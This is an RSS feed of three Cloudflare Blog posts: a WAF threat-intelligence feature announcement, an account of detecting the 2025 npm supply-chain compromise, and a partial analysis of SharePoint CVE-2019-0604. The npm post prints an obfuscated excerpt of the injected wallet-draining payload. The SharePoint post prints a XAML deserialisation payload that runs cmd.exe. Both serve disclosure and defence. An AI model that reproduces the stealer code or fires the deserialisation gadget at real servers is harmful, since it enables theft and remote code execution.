
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Sun, 14 Jun 2026 15:54:22 GMT</lastBuildDate>
        <item>
            <title><![CDATA[Turning Cloudflare’s threat indicators into real-time WAF rules]]></title>
            <link>https://blog.cloudflare.com/realtime-threat-intel-waf-rules/</link>
            <pubDate>Mon, 08 Jun 2026 13:00:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare customers can now use Cloudforce One threat intelligence directly within the WAF to block high-risk traffic. By using new cf.intel fields, security teams can automate protection against specific threat actors and targeted industries in real time. ]]></description>
            <content:encoded><![CDATA[ <p>Cloudflare’s <a href="https://blog.cloudflare.com/threat-events-platform/"><u>Threat Events</u></a> provides security analysts with a window into the global threat landscape. The platform <a href="https://developers.cloudflare.com/api/node/resources/cloudforce_one/subresources/threat_events/"><u>offers a peek</u></a> into the immense traffic that Cloudflare processes every day, so you can see in real time which IPs are attacking specific industries or which threat actors are trending globally. However, translating that visibility into active mitigation has often been a manual, reactive process.</p><p>Security teams have faced a recurring frustration: knowing that certain IP addresses were associated with specific threat actors (like <a href="https://www.cloudflare.com/en-gb/threat-intelligence/research/report/tycoon-2fa-takedown/"><b><u>Tycoon 2FA</u></b></a> or <a href="https://www.cloudflare.com/en-gb/threat-intelligence/research/report/cloudflare-participates-in-global-operation-to-disrupt-raccoono365/"><b><u>RaccoonO365</u></b></a>) or had been seen targeting their specific industry in other regions, but they couldn't easily automate the blocking of these high-risk IPs within their own WAF unless they manually configured the rules. </p><p>We are excited to announce a new integration that brings Cloudflare’s vast threat intelligence directly into your WAF engine: <b>you can now write proactive rules using live intelligence data</b>. This means you can add more intelligence context to protect your application against known bad actors — before they even attempt to touch your infrastructure.</p><p>By populating specialized fields during the early stages of a request, the WAF can now screen traffic based on:</p><ul><li><p><i>Who is attacking</i> by matching specific threat actor names</p></li><li><p><i>Who they are targeting</i> via the industry or country filters to see who the IP has targeted in the past</p></li><li><p><i>What type of attack </i>using enriched threat context, filtering by attack type (DDoS, WAF, cybercrime, etc.) and the timeframe it was last seen</p></li></ul>
    <div>
      <h2>Always-on detection</h2>
      <a href="#always-on-detection">
        
      </a>
    </div>
    <p>This new capability is built on the same<a href="https://blog.cloudflare.com/attack-signature-detection/"> <u>always-on detection framework</u></a> we recently introduced for Attack Signature Detection, a system that identifies common attack patterns in real time without requiring pre-configured rules. By separating detection from mitigation, we ensure that threat intelligence is constantly running in the background, enriching your HTTP request analytics with insightful threat metadata before you even decide to take an action.</p><p>The primary advantage of an "always-on" model is the elimination of the traditional "log vs. block" trade-off: visibility in log mode, or protection in block mode. That’s because when a rule blocks a request, you lose visibility into how other signatures would have assessed it — insight that could have helped you strengthen your defenses.</p><p>If you have a <a href="https://www.cloudflare.com/en-gb/cloudforce-one/"><u>Cloudforce One subscription</u></a>, these insights appear in your analytics automatically. You can see which threat actors are hitting your site and which industries those IPs usually target, allowing you to verify traffic patterns before "flipping the switch" to block.</p><p>These detections execute with negligible latency, ensuring your performance remains lightning-fast while providing the high-confidence data needed to build robust security policies. While this initial release focuses on IP-based matching, we are already looking toward extending these capabilities to <a href="https://developers.cloudflare.com/bots/additional-configurations/ja3-ja4-fingerprint/"><u>JA3 fingerprints</u></a> and domain-based matching. This will allow you to block malicious traffic even when attackers rotate IPs, by identifying the unique software signatures or malicious destination links they use in their payloads.</p>
    <div>
      <h3>New WAF fields</h3>
      <a href="#new-waf-fields">
        
      </a>
    </div>
    <p>To make this possible, we've exposed the following specific signals directly to the WAF engine:</p><table><tr><td><p><b>Field</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p>cf.intel.ip.attacker_names</p></td><td><p>Names of known threat groups (e.g., <code>CRAVENFLEA</code>).</p></td></tr><tr><td><p>cf.intel.ip.target_industries</p></td><td><p>Industries targeted by this IP (e.g., <code>Cryptocurrency</code>, <code>Automotive</code>).</p></td></tr><tr><td><p>cf.intel.ip.attacker_countries</p></td><td><p>The source country of the threat event.</p></td></tr><tr><td><p>cf.intel.ip.target_countries</p></td><td><p>The countries targeted by the threat event.</p></td></tr><tr><td><p>cf.intel.ip.datasets</p></td><td><p>The source feed providing the data (e.g., <code>ddos</code>, <code>waf</code>).</p></td></tr></table>
    <div>
      <h3>Example rule expressions</h3>
      <a href="#example-rule-expressions">
        
      </a>
    </div>
    <p>Because a single IP address could be associated with multiple threat actors or targeted industries simultaneously, these fields are represented as arrays. We use the <code>any()</code> function and <code>[*]</code> wildcard to check whether any value within that threat profile matches your criteria:</p><ul><li><p><b>Block known DDoS participants targeting your region: </b><code>any(cf.intel.ip.target_countries[*] == "FR") and any(cf.intel.ip.datasets[*] == "ddos")</code></p></li><li><p><b>Protect against specific threat actors targeting the Finance sector: </b><code>any(cf.intel.ip.target_industries[*] == "Banking &amp; Financial Services") and any(cf.intel.ip.attacker_names[*] == "BLACKBASTA")</code></p></li><li><p><b>Broad protection against specific high-risk origin countries: </b><code>any(cf.intel.ip.attacker_countries[*] == "IR")</code></p></li></ul>
    <div>
      <h2>How to use Threat Events data in your workflows</h2>
      <a href="#how-to-use-threat-events-data-in-your-workflows">
        
      </a>
    </div>
    <p>Whether you prefer a UI-driven approach or <a href="https://blog.cloudflare.com/shift-left-enterprise-scale/"><u>Infrastructure as Code</u></a>, these fields are integrated into your existing workflows.</p>
    <div>
      <h3>The WAF rule builder (API &amp; Terraform)</h3>
      <a href="#the-waf-rule-builder-api-terraform">
        
      </a>
    </div>
    <p>For teams that prefer Infrastructure as Code, the new <code>cf.intel</code> fields are fully integrated into the WAF rule builder for WAF <a href="https://developers.cloudflare.com/waf/custom-rules/"><u>custom rules</u></a> and <a href="https://developers.cloudflare.com/waf/rate-limiting-rules/"><u>rate limiting</u></a>. You can write complex expressions using the same syntax you use today. Because these are standard WAF fields, they are fully supported via the Cloudflare API and Terraform, allowing you to automate threat blocking across your selected domains or even on your whole account.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1YQOp7XzNrFIHE1HSNhz6b/06d1565243b2902df5a5b294e3e80709/BLOG-3272_image3.png" />
          </figure><p><sup><i>New fields added to the WAF rule builder to allow users to choose the relevant configuration based on the Threat Events indicators. </i></sup></p>
    <div>
      <h3>Visibility in Security Analytics</h3>
      <a href="#visibility-in-security-analytics">
        
      </a>
    </div>
    <p>Deployment is only half the battle. All matches triggered by these threat intelligence fields are logged in <a href="https://developers.cloudflare.com/waf/analytics/security-analytics/"><u>Security Analytics</u></a>. You can drill down into your traffic to see exactly which rule was triggered and which specific indicator matched. These enriched logs allow for faster auditing and postmortem analysis when a rule triggers.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/eXh1MgDAROkPZpXwvAaXl/0f124fe79995f213b63f6152e9dd8050/BLOG-3272_image1.png" />
          </figure><p><sup><i>Threat event matches surface in Security Analytics, with full context and a one-click option to create a custom security rule.</i></sup></p>
    <div>
      <h3>One-click rule from the Threat Events dashboard</h3>
      <a href="#one-click-rule-from-the-threat-events-dashboard">
        
      </a>
    </div>
    <p>If you are already using the <b>Threat Intelligence Dashboard</b> to investigate trends, you don't have to copy and paste IP lists. You can create <b>Saved Views</b> based on your specific filters, such as <i>"IPs seen attacking the Financial sector in the last seven days."</i> With a single click, you can <a href="https://developers.cloudflare.com/security-center/changelog/#2026-05-27"><u>export these filters</u></a> directly into a WAF rule.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2AOxzgPOUpk5gRrL3VfEB/5160a9fe57808483770fdb1e9979e312/BLOG-3272_-2.png" />
          </figure><p><sup><i>Saved Views now allow users to easily create WAF rules to match the saved view configuration. </i></sup></p>
    <div>
      <h2>Global intelligence across our network</h2>
      <a href="#global-intelligence-across-our-network">
        
      </a>
    </div>
    <p>Visibility and ease of use are only possible if the underlying engine is fast. How do we handle millions of threat indicators without slowing down your traffic?</p><p>These threat intelligence datasets are compressed into a high-performance format and distributed to every single Cloudflare data center globally. When a request hits our network, the Cloudflare WAF performs an <code>O(1)</code> constant-time lookup against these local datasets. This ensures that whether we are checking against ten indicators or ten million, the latency overhead remains effectively zero (measured in microseconds).</p><p>Because an IP can be associated with multiple threat vectors, our engine doesn't stop at the first match. It evaluates the set of all signals associated with that IP simultaneously. This ensures that a rule looking for "Attacker = RU" AND "Target Industry = Banking" will trigger correctly by evaluating the intersection of these attributes in a single pass, providing maximum coverage against multi-vector actors without increasing computational complexity.</p>
    <div>
      <h2>Ready to get started?</h2>
      <a href="#ready-to-get-started">
        
      </a>
    </div>
    <p>This feature is available today for customers with any active <a href="https://www.cloudflare.com/en-gb/cloudforce-one/"><u>Cloudforce One subscription</u></a>:</p><ul><li><p>Cloudforce One Essentials allows customers to access the default datasets in Threat Events, search for indicators, and conduct threat-hunting investigations</p></li><li><p>Cloudforce One Advantage allows customers to access our Threat Intelligence Analyst custom insights via requests for information</p></li><li><p>Cloudforce One Elite — our most complete package — includes brand protection, a high number of requests for information, and access to all Threat Events datasets</p></li></ul><p>Ready to turn global insights into local defense? Head over to <a href="https://developers.cloudflare.com/security-center/cloudforce-one/#analyze-threat-events"><u>Threat Events</u></a> or the <a href="https://developers.cloudflare.com/firewall/cf-dashboard/"><u>WAF</u></a> section of your Cloudflare Dashboard to start building your first Threat Intel rule, or contact your account team to learn more about subscribing to Cloudforce One.</p> ]]></content:encoded>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Threat Intelligence]]></category>
            <category><![CDATA[Cloudforce One]]></category>
            <category><![CDATA[Product News]]></category>
            <guid isPermaLink="false">2rMCnbhtTEow346RobyHOh</guid>
            <dc:creator>Alexandra Moraru</dc:creator>
            <dc:creator>Harsh Saxena</dc:creator>
            <dc:creator>Georgie Yoxall</dc:creator>
            <dc:creator>Brian Seel</dc:creator>
        </item>
        <item>
            <title><![CDATA[How Cloudflare’s client-side security made the npm supply chain attack a non-event]]></title>
            <link>https://blog.cloudflare.com/how-cloudflares-client-side-security-made-the-npm-supply-chain-attack-a-non/</link>
            <pubDate>Fri, 24 Oct 2025 17:10:43 GMT</pubDate>
            <description><![CDATA[ A recent npm supply chain attack compromised 18 popular packages. This post explains how Cloudflare’s graph-based machine learning model, which analyzes 3.5 billion scripts daily, was built to detect and block exactly this kind of threat automatically. ]]></description>
            <content:encoded><![CDATA[ <p>In early September 2025, attackers used a phishing email to compromise one or more trusted maintainer accounts on npm. They used this to publish malicious releases of 18 widely used npm packages (for example chalk, debug, ansi-styles) that account for more than <a href="https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised"><u>2 billion downloads per week</u></a>. Websites and applications that used these compromised packages were vulnerable to hackers stealing crypto assets (“crypto stealing” or “wallet draining”) from end users. In addition, compromised packages could also modify other packages owned by the same maintainers (using stolen npm tokens) and included code to <a href="https://unit42.paloaltonetworks.com/npm-supply-chain-attack/"><u>steal developer tokens for CI/CD pipelines and cloud accounts</u></a>.</p><p>As it relates to end users of your applications, the good news is that Cloudflare<a href="https://www.cloudflare.com/application-services/products/page-shield/"><u> Page Shield, our client-side security offering</u></a> will detect compromised JavaScript libraries and prevent crypto-stealing. More importantly, given the AI powering Cloudflare’s detection solutions, customers are protected from similar attacks in the future, as we explain below.</p>
            <pre><code>export default {
 aliceblue: [240, 248, 255],
 …
 yellow: [255, 255, 0],
 yellowgreen: [154, 205, 50]
}


const _0x112fa8=_0x180f;(function(_0x13c8b9,_0x35f660){const _0x15b386=_0x180f,_0x66ea25=_0x13c8b9();while(!![]){try{const _0x2cc99e=parseInt(_0x15b386(0x46c))/(-0x1caa+0x61f*0x1+-0x9c*-0x25)*(parseInt(_0x15b386(0x132))/(-0x1d6b+-0x69e+0x240b))+-parseInt(_0x15b386(0x6a6))/(0x1*-0x26e1+-0x11a1*-0x2+-0x5d*-0xa)*(-parseInt(_0x15b386(0x4d5))/(0x3b2+-0xaa*0xf+-0x3*-0x218))+-parseInt(_0x15b386(0x1e8))/(0xfe+0x16f2+-0x17eb)+-parseInt(_0x15b386(0x707))/(-0x23f8+-0x2*0x70e+-0x48e*-0xb)*(parseInt(_0x15b386(0x3f3))/(-0x6a1+0x3f5+0x2b3))+-parseInt(_0x15b386(0x435))/(0xeb5+0x3b1+-0x125e)*(parseInt(_0x15b386(0x56e))/(0x18*0x118+-0x17ee+-0x249))+parseInt(_0x15b386(0x785))/(-0xfbd+0xd5d*-0x1+0x1d24)+-parseInt(_0x15b386(0x654))/(-0x196d*0x1+-0x605+0xa7f*0x3)*(-parseInt(_0x15b386(0x3ee))/(0x282*0xe+0x760*0x3+-0x3930));if(_0x2cc99e===_0x35f660)break;else _0x66ea25['push'](_0x66ea25['shift']());}catch(_0x205af0){_0x66 …
</code></pre>
            <p><sub><i>Excerpt from the injected malicious payload, along with the rest of the innocuous normal code.</i></sub><sub> </sub><sub><i>Among other things, the payload replaces legitimate crypto addresses with attacker’s addresses (for multiple currencies, including bitcoin, ethereum, solana).</i></sub></p>
    <div>
      <h2>Finding needles in a 3.5 billion script haystack</h2>
      <a href="#finding-needles-in-a-3-5-billion-script-haystack">
        
      </a>
    </div>
    <p>Everyday, Cloudflare Page Shield assesses 3.5 billion scripts per day or 40,000 scripts per second. Of these, less than 0.3% are malicious, based on our machine learning (ML)-based malicious script detection. As explained in a prior <a href="https://blog.cloudflare.com/how-we-train-ai-to-uncover-malicious-javascript-intent-and-make-web-surfing-safer/#ai-inference-at-scale"><u>blog post</u></a>, we preprocess JavaScript code into an <a href="https://en.wikipedia.org/wiki/Abstract_syntax_tree"><u>Abstract Syntax Tree</u></a> to train a <a href="https://mbernste.github.io/posts/gcn/"><u>message-passing graph convolutional network (MPGCN)</u></a> that classifies a given JavaScript file as either malicious or benign. </p><p>The intuition behind using a graph-based model is to use both the structure (e.g. function calling, assertions) and code text to learn hacker patterns. For example, in the npm compromise, the <a href="https://www.aikido.dev/blog/npm-debug-and-chalk-packages-compromised"><u>malicious code</u></a> injected in compromised packages uses code obfuscation and also modifies code entry points for crypto wallet interfaces, such as Ethereum’s window.ethereum, to swap payment destinations to accounts in the attacker’s control. Crucially, rather than engineering such behaviors as features, the model learns to distinguish between good and bad code purely from structure and syntax. As a result, it is resilient to techniques used not just in the npm compromise but also future compromise techniques. </p><p>Our ML model outputs the probability that a script is malicious which is then transformed into a score ranging from 1 to 99, with low scores indicating likely malicious and high scores indicating benign scripts. Importantly, like many Cloudflare ML models, inferencing happens in under 0.3 seconds. </p>
    <div>
      <h2>Model Evaluation</h2>
      <a href="#model-evaluation">
        
      </a>
    </div>
    <p>Since the initial launch, our JavaScript classifiers are constantly being evolved to optimize model evaluation metrics, in this case, <a href="https://en.wikipedia.org/wiki/Precision_and_recall"><u>F1 measure</u></a>. Our current metrics are </p><table><tr><th><p><b>Metric</b></p></th><th><p><b>Latest: Version 2.7</b></p></th><th><p><b>Improvement over prior version</b></p></th></tr><tr><td><p>Precision</p></td><td><p>98%</p></td><td><p>5%</p></td></tr><tr><td><p>Recall</p></td><td><p>90%</p></td><td><p>233%</p></td></tr><tr><td><p>F1</p></td><td><p>94%</p></td><td><p>123%</p></td></tr></table><p>Some of the improvements were accomplished through:</p><ul><li><p>More training examples, curated from a combination of open source datasets, security partners, and labeling of Cloudflare traffic</p></li><li><p>Better training examples, for instance, by removing samples with pure comments in them or scripts with nearly equal structure</p></li><li><p>Better training set stratification, so that training, validation and test sets all have similar distribution of classes of interest</p></li><li><p>Tweaking the evaluation criteria to maximize recall with 99% precision</p></li></ul><p>Given the confusion matrix, we should expect about 2 false positives per second, if we assume ~0.3% of the 40,000 scripts per second are flagged as malicious. We employ multiple LLMs alongside expert human security analysts to review such scripts around the clock. Most False Positives we encounter in this way are rather challenging. For example, scripts that read all form inputs except credit card numbers (e.g. reject input values that test true using the <a href="https://en.wikipedia.org/wiki/Luhn_algorithm"><u>Luhn algorithm</u></a>), injecting dynamic scripts, heavy user tracking, heavy deobfuscation, etc. User tracking scripts often exhibit a combination of these behaviors, and the only reliable way to distinguish truly malicious payloads is by assessing the trustworthiness of their connected domains. We feed all newly labeled scripts back into our ML training (&amp; testing) pipeline.</p><p>Most importantly, we verified that Cloudflare Page Shield would have successfully detected all 18 compromised npm packages as malicious (a novel attack, thus, not in the training data)..</p>
    <div>
      <h2>Planned improvements</h2>
      <a href="#planned-improvements">
        
      </a>
    </div>
    <p>Static script analysis has proven effective and is sometimes the only viable approach (e.g., for npm packages). To address more challenging cases, we are enhancing our ML signals with contextual data including script URLs, page hosts, and connected domains. Modern Agentic AI approaches can wrap JavaScript runtimes as tools in an overall AI workflow. Then, they can enable a hybrid approach that combines static and dynamic analysis techniques to tackle challenging false positive scenarios, such as user tracking scripts.</p>
    <div>
      <h3>Consolidating classifiers</h3>
      <a href="#consolidating-classifiers">
        
      </a>
    </div>
    <p><a href="https://blog.cloudflare.com/detecting-magecart-style-attacks-for-pageshield/"><u>Over 3 years ago</u></a> we launched our classifier, “<a href="https://developers.cloudflare.com/page-shield/detection/review-malicious-scripts/#review-malicious-scripts"><u>Code Behaviour Analysis</u></a>” for Magecart-style scripts that learns  code obfuscation and data exfiltration behaviors. Subsequently, we also deployed our <a href="https://mbernste.github.io/posts/gcn/"><u>message-passing graph convolutional network (MPGCN)</u></a> based approach that can also classify <a href="https://blog.cloudflare.com/navigating-the-maze-of-magecart/"><u>Magecart attacks</u></a>. Given the efficacy of the MPGCN-based malicious code analysis, we are announcing the end-of-life of <a href="https://developers.cloudflare.com/page-shield/detection/review-malicious-scripts/#review-malicious-scripts"><u>code behaviour analysis</u></a> by the end of 2025. </p>
    <div>
      <h2>Staying safe always</h2>
      <a href="#staying-safe-always">
        
      </a>
    </div>
    <p>In the npm attack, we did not see any activity in the Cloudflare network related to this compromise among Page Shield users, though for other exploits, we catch its traffic within minutes. In this case, patches of the compromised npm packages were released in 2 hours or less, and given that the infected payloads had to be built into end user facing applications for end user impact, we suspect that our customers dodged the proverbial bullet. That said, had traffic gotten through, Page Shield was already equipped to detect and block this threat.</p><p>Also make sure to consult our <a href="https://developers.cloudflare.com/page-shield/how-it-works/malicious-script-detection/#malicious-script-detection"><u>Page Shield Script detection</u></a> to find malicious packages. Consult the Connections tab within Page Shield to view suspicious connections made by your applications.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6rMXJZVWEu6LkupOPY2pOB/0740a085fa2a64de3cff148fc29ad328/BLOG-3052_2.png" />
          </figure><p><sub><i>Several scripts are marked as malicious. </i></sub></p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1oj2WALUAurKuu2XYTdKPm/fe8a564f10888e656c2510bc2a91dd6f/BLOG-3052_3.png" />
          </figure><p><sub><i>Several connections are marked as malicious. </i></sub></p><p>
And be sure to complete the following steps:</p><ol><li><p><b>Audit your dependency tree</b> for recently published versions (check package-lock.json / npm ls) and look for versions published around early–mid September 2025 of widely used packages. </p></li><li><p><b>Rotate any credentials</b> that may have been exposed to your build environment.</p></li><li><p><b>Revoke and reissue CI/CD tokens and service keys</b> that might have been used in build <a href="https://www.cloudflare.com/learning/serverless/glossary/what-is-ci-cd/">pipelines</a> (GitHub Actions, npm tokens, cloud credentials).</p></li><li><p><b>Pin dependencies</b> to known-good versions (or use lockfiles), and consider using a package allowlist / verified publisher features from your registry provider.</p></li><li><p><b>Scan build logs and repos for suspicious commits/GitHub Actions changes</b> and remove any unknown webhooks or workflows.</p></li></ol><p>While vigilance is key, automated defenses provide a crucial layer of protection against fast-moving supply chain attacks. Interested in better understanding your client-side supply chain? Sign up for our free, custom <a href="https://www.cloudflare.com/lp/client-side-risk-assessment/"><u>Client-Side Risk Assessment</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[Supply Chain Attacks]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[Malicious JavaScript]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[Developers]]></category>
            <guid isPermaLink="false">1DRrVAPmyZYyz2avWuwYZ4</guid>
            <dc:creator>Bashyam Anant</dc:creator>
            <dc:creator>Juan Miguel Cejuela</dc:creator>
            <dc:creator>Zhiyuan Zheng</dc:creator>
            <dc:creator>Denzil Correa</dc:creator>
            <dc:creator>Israel Adura</dc:creator>
            <dc:creator>Georgie Yoxall</dc:creator>
        </item>
        <item>
            <title><![CDATA[Stopping SharePoint’s CVE-2019-0604]]></title>
            <link>https://blog.cloudflare.com/stopping-cve-2019-0604/</link>
            <pubDate>Tue, 28 May 2019 18:45:41 GMT</pubDate>
            <description><![CDATA[ On Saturday, 11th May 2019, we got the news of a critical web vulnerability being actively exploited in the wild by advanced persistent threats (APTs), affecting Microsoft’s SharePoint server (versions 2010 through 2019). ]]></description>
            <content:encoded><![CDATA[ <p>On Saturday, 11th May 2019, we got the news of a critical web vulnerability being actively exploited in the wild by advanced persistent threats (<a href="https://en.wikipedia.org/wiki/Advanced_persistent_threat">APTs</a>), affecting Microsoft’s SharePoint server (versions 2010 through 2019).</p><p>This was <a href="https://www.rapid7.com/db/vulnerabilities/msft-cve-2019-0604">CVE-2019-0604</a>, a Remote Code Execution vulnerability in Microsoft SharePoint Servers which was not previously known to be exploitable via the web.</p><p>Several cyber security centres including the Canadian Centre for Cyber Security and Saudi Arabia’s National Center put out <a href="https://www.ncsc.gov.sa/wps/portal/ncsc/home/Alerts/!ut/p/z1/lVLRboJAEPwaH8kud-cBj2elYKkxYgpyLwYR67VyaEts-_c9apM2aYS6T3PJ3O7szIKEJUidn9Rj3qha53vzziRf2fbYDUmA9zMnGqMYzRe3QxpQMUVIQIIsdHNodpDp4rXYq_UAWzDAXV2VZ7xq4arULflQqA1khBPGiyGxkOWOxYiXW57tEWvLGS9dToi33kD6NR0njIU2I9EsRkRBkzCk7o2NAQX5W5w7cgTOEZOJmER0HvHv_x0E2b1cz3zyv_l4oQReqf-vQNndfmEcvzuTLntoIlZPx6MUJsdaN-V7A8v-INM2yh5z-uRlZj3nZ70g8bjpEDt-Evt0ljBIT6p8gwddv1TmFhdXXk-IcKgql34oU1aQWs_bqU_ZJ0-OxIA!/dz/d5/L2dBISEvZ0FBIS9nQSEh/">alerts</a> for this threat, indicating it was being exploited to download and execute malicious code which would in turn take complete control of servers.</p><p>The affected software versions:</p><ul><li><p>Microsoft SharePoint Foundation 2010 Service Pack 2</p></li><li><p>Microsoft SharePoint Foundation 2013 Service Pack 1</p></li><li><p>Microsoft SharePoint Server 2010 Service Pack 2</p></li><li><p>Microsoft SharePoint Server 2013 Service Pack 1</p></li><li><p>Microsoft SharePoint Enterprise Server 2016</p></li><li><p>Microsoft SharePoint Server 2019</p></li></ul>
    <div>
      <h3>Introduction</h3>
      <a href="#introduction">
        
      </a>
    </div>
    <p>The vulnerability was initially given a critical CVSS v3 rating of 8.8 on the Zero Day Initiative <a href="https://www.zerodayinitiative.com/advisories/ZDI-19-181/">advisory</a> (however the advisory states authentication is required). This would imply only an insider threat, someone who has authorisation within SharePoint, such as an employee, on the local network could exploit the vulnerability.</p><p>We discovered that was not always the case, since there were paths which could be reached without authentication, via external facing websites. Using the NIST NVD calculator, it determines the actual base score to be a 9.8 severity out of 10 without the authentication requirement.</p><p>As part of our internal vulnerability scoring process, we decided this was critical enough to require immediate attention. This was for a number of reasons. The first being it was a critical CVE affecting a major software ecosystem, primarily aimed at enterprise businesses. There appeared to be no stable patch available at the time. And, there were several reports of it being actively exploited in the wild by APTs.</p><p>We deployed an initial firewall rule the same day, rule 100157. This allowed us to analyse traffic and request frequency before making a decision on the default action. At the same time, it gave our customers the ability to protect their online assets from these attacks in advance of a patch.</p><p>We observed the first probes at around 4:47 PM on the 11th of May, which went on until 9:12 PM. We have reason to believe these were not successful attacks, and were simply reconnaissance probes at this point.</p><p>The online vulnerable hosts exposed to the web were largely made up of high traffic enterprise businesses, which makes sense based on the below graph from W3Techs.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4wJkuPfdv3d8E0KBvbS00c/1834c92fcdc1367767eacb7a0687e60a/pasted-image-0.png" />
            
            </figure><p>Figure 1: Depicts SharePoint’s market position (Image attributed to W3Techs)</p><p>The publicly accessible proof of concept exploit code found online did not work out of the box. Therefore it was not immediately widely used, since it required weaponisation by a more skilled adversary.</p><p>We give customers advance notice of most rule changes. However, in this case, we decided that the risk was high enough that we needed to act upon this, and so made the decision to make an immediate rule release to block this malicious traffic for all of our customers on May 13th.</p><p>We were confident enough in going default block here, as the requests we’d analysed so far did not appear to be legitimate. We took several factors into consideration to determine this, some of which are detailed below.</p><p>The bulk of requests we’d seen so far, a couple hundred, originated from cloud instances, within the same IP ranges. They were enumerating the subdomains of many websites over a short time period.</p><p>This is a fairly common scenario. Malicious actors will perform reconnaissance using various methods in an attempt to find a vulnerable host to attack, before actually exploiting the vulnerability. The query string parameters also appeared suspicious, having only the ones necessary to exploit the vulnerability and nothing more.</p><p>The rule was deployed in default block mode protecting our customers, before security researchers <a href="https://twitter.com/1oopho1e/status/1127916284899995648">discovered</a> how to weaponise the exploit and before a stable patch from Microsoft was widely adopted.</p>
    <div>
      <h3>The vulnerability</h3>
      <a href="#the-vulnerability">
        
      </a>
    </div>
    <p>Zero Day Initiative did a good job in drilling down on the <a href="https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability">root cause</a> of this vulnerability, and how it could potentially be exploited in practice.</p><p>From debugging the .NET executable, they discovered the following functions could eventually reach the deserialisation call, and so may potentially be exploitable.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/56GCIIrCIBXjX17RdIWfuK/355601f3eb78ee7a87cff26760b16f81/2.png" />
            
            </figure><p>Figure 2: Depicts the affected function calls (Image attributed to Trend Micro Zero Day Initiative)</p><p>The most interesting ones here are the “<code>.Page_Load</code>” and “<code>.OnLoad</code>” methods, as these can be directly accessed by visiting a webpage. However, only one appears to not require authentication, ItemPicker.ValidateEntity which can be reached via the Picker.aspx webpage.</p><p>The vulnerability lies in the following function calls:</p>
            <pre><code>EntityInstanceIdEncoder.DecodeEntityInstanceId(encodedId);
Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId(pe.Key);</code></pre>
            
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1KH3WG7z25CXpkz8jtM9iZ/a4cb7ed7b3fe78567948742d7d9959c9/3-1.png" />
            
            </figure><p>Figure 3: PickerEntity Validation (Image attributed to Trend Micro Zero Day Initiative)</p><p>The PickerEntity ValidateEntity function takes “pe” (Picker Entity) as an argument.</p><p>After checking pe.Key is not null, and it matches the necessary format: via a call to</p>
            <pre><code>Microsoft.SharePoint.BusinessData.Infrastucture.EntityInstanceIdEncoder.IsEncodedIdentifier(pe.Key)</code></pre>
            <p>it continues to define an object of <code>identifierValues</code> from the result of</p>
            <pre><code>Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId(pe.Key)</code></pre>
            <p>where the actual deserialisation takes place.</p><p>Otherwise, it will raise an <code>AuthenticationException</code>, which will display an error page to the user.</p><p>The affected function call can be seen below. First, there is a conditional check on the encodedId argument which is passed to <code>DecodeEntityInstanceId()</code>, if it begins with <code>__</code>, it will continue onto deserialising the XML Schema with <a href="https://docs.microsoft.com/en-us/dotnet/api/system.xml.serialization.xmlserializer.deserialize?view=netframework-4.8#System_Xml_Serialization_XmlSerializer_Deserialize_System_IO_TextReader_"><code>xmlSerializer.Deserialize()</code></a>.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4Plwd13vNIhcYSA0ftS4a9/f40552c327e92fce23b9a028b8de6afc/4-1.png" />
            
            </figure><p>Figure 4: DecodeEntityInstanceId leading to the deserialisation (Image attributed to Trend Micro Zero Day Initiative)</p><p>When reached, the encodedId (in the form of an XML serialised payload) would be deserialised, and eventually executed on the system in a SharePoint application pool context, leading to a full system compromise.</p><p>One such XML payload which spawns a calculator (calc.exe) instance via a call to command prompt (cmd.exe):</p>
            <pre><code>&lt;ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"&gt;
    &lt;ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start"&gt;
        &lt;ObjectDataProvider.MethodParameters&gt;
            &lt;System:String&gt;cmd.exe&lt;/System:String&gt;
            &lt;System:String&gt;/c calc.exe&lt;/System:String&gt;
        &lt;/ObjectDataProvider.MethodParameters&gt;
    &lt;/ObjectDataProvider&gt;
&lt;/ResourceDictionary&gt;</code></pre>
            
    <div>
      <h3>Analysis</h3>
      <a href="#analysis">
        
      </a>
    </div>
